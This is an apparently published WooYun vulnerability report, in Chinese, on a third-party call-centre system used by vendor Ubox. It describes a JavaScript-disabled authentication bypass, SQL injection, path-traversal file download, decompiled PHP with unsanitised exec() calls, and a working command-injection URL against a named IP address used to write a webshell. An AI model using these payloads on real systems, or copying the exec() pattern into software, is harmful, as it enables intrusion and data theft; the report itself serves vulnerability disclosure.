当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-048803

漏洞标题:友宝某业务命令执行getshell(第三方0day)

相关厂商:友宝在线

漏洞作者: s0mun5

提交时间:2014-01-13 20:43

修复时间:2014-02-27 20:43

公开时间:2014-02-27 20:43

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-13: 细节已通知厂商并且等待厂商处理中
2014-01-14: 厂商已经确认,细节仅向厂商公开
2014-01-24: 细节向核心白帽子及相关领域专家公开
2014-02-03: 细节向普通白帽子公开
2014-02-13: 细节向实习白帽子公开
2014-02-27: 细节向公众公开

简要描述:

友宝某业务使用第三方系统,结果检测过程中找到这套系统的命令执行并成功getshell友宝的这个业务,报给你们了,算谁的漏洞你自己自己商量。
gay by ztz

详细说明:

WooYun: 友宝自动贩卖机多处高危漏洞导致主控端+内部权限泄漏 中 提到

各位好:
现请大家马上登陆新的客服系统。 (客服电话,这个比较犀利!!)
系统网址:http://119.254.230.74:32766/agent/ (建议在IE7-IE9浏览器下使用)


这套系统也就是友宝的电话客服系统。
采用的是LinkTimes呼叫中心软件
具体介绍看 http://www.lanyears.com/product.asp
经过探测后发现这套系统禁用js后可以绕过验证直接看到登陆后的页面
然后发现以下页面

C1EF9753-4EA0-4D23-92DD-5FDAACC1CE36.png


并且发现这里存在注入漏洞

04AA2471-3B81-47AC-A30A-63766BB9DDF4.png


成功拿到账号进入呼叫中心

34447FC9-1CAD-47B1-A100-17628B306929.png


下了一段录音听完后,确定确实是友宝的客服电话
这里没有发现可以getshell的地方

漏洞证明:

http://119.254.230.74:32766/admin 是系统的后台
中间有个小插曲就是 注入得到管理员账号getshell
还没来得及截图结果第二天就被删了
admin目录也限制权限了,管理员明文密码页加密了
好管理员 赞一个
不过为了再次getshell截图 发现了新的问题
http://119.254.230.74:32766/maint是后台的目录
admin只是登录页面
禁用js后发现直接可以浏览maint后台
连注管理员密码都省了

77D2A019-8C8B-4988-BD40-C9987D158426.png


http://119.254.230.74:32766/maint/backupdownload.php?filename=
下载备份的链接存在任意文件下载 并且不存在的文件会曝出绝对路径

Warning: filesize() [function.filesize]: stat failed for /var/backup/../..a/etc/passwd in /var/www/html/maint/backupdownload.php on line 5
Warning: fopen(/var/backup/../..a/etc/passwd) [function.fopen]: failed to open stream: No such file or directory in /var/www/html/maint/backupdownload.php on line 8


下载php文件发现时zend解密的,解密后进行简单审计。
/maint/index.php

switch ( $display )
{
case "1" :
echo "<h2>网络配置</h2>";
include( "dns.php" );
break;
case "2" :
if ( $_SESSION['adminlogin'] == 1 )
{
echo "<h2>管理员设置</h2>";
include( "maintuser.php" );
break;
}
case "3" :
echo "<h2>修改控制台口令</h2>";
include( "panelpass.php" );
break;
case "4" :
echo "<h2>修改系统时间</h2>";
include( "mdtime.php" );
break;
case "5" :
echo "<h2>修改记录保存时间</h2>";
include( "mkrecord.php" );
break;
case "6" :
echo "<h2>修改系统端口</h2>";
include( "changeport.php" );
break;
case "7" :
include( "backupnew.php" );
break;
case "8" :
echo "<h2>邮件设置</h2>";
include( "setmail.php" );
}


看 diaplay = 7的时候
backupnew.php

switch ( $action )
{
case "addednew" :
echo "<script>javascript:alert('请耐心等待网页刷新');</script>";
if ( $backuptype == "all" )
{
exec( "/var/backup/fullbackup.sh" );
}
else if ( $backuptype == "daily" )
{
exec( "/var/backup/dailybackup.sh" );
}
$action = "restore";
break;
case "delete" :
$dstr = "";
if ( $backupvalue )
{
exec( "/bin/rm -rf /var/backup/".$backupvalue."*" );
$dstr = "<font color='red'>".$backupvalue2."己删除</font>";
}
$action = "restore";
break;
case "restored" :
$dstr = "";
echo "<script>javascript:alert('请耐心等待网页刷新');</script>";
if ( $backupvalue2 == "full" )
{
exec( "/var/backup/fullrestore.sh ".$backupvalue );
$dstr = "<font color='red'>".$backupvalue."全备份己恢复,需要重启机器才能生效</font>";
}
else
{
exec( "/var/backup/dailyrestore.sh ".$backupvalue );
$dstr = "<font color='red'>".$backupvalue."日备份己恢复,需要重启机器才能生效</font>";
}
$action = "restore";
break;
case "uploadnew" :
$dstr = "";
if ( is_uploaded_file( $_FILES['backupfile']['tmp_name'] ) )
{
move_uploaded_file( $_FILES['backupfile']['tmp_name'], "/var/backup/".$_FILES['backupfile']['name'] );
$dstr = "<font color='red'>成功上传".$_FILES['backupfile']['name']."</font>";
}
$action = "upload";
}


全尼玛是exec啊,程序员是写c的么。
看这里

case "delete" :
$dstr = "";
if ( $backupvalue )
{
exec( "/bin/rm -rf /var/backup/".$backupvalue."*" );
$dstr = "<font color='red'>".$backupvalue2."己删除</font>";
}
$action = "restore";
break;


好了 可以执行命令了。
url:
http://119.254.230.74:32766/maint/index.php?display=7&action=delete&backupvalue=123%26%26echo%20xxx%20%3E/var/www/html/xxx.txt%26%26

B434CCA8-4F41-4804-B1F6-F86719878FA5.png


然后写shell

64D9C3E3-05BD-41E7-A902-F867E6F8B8C9.png


19F9B153-800D-4753-AF6A-035BDC04E311.png

修复方案:

shell已经删除
留下了xxx.txt
你们修复后就报给厂商让他们发补丁吧
还有 能不能不送饮料了 上次的还没有喝完

版权声明:转载请注明来源 s0mun5@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-01-14 11:49

厂商回复:

感谢s0mun5牛

最新状态:

暂无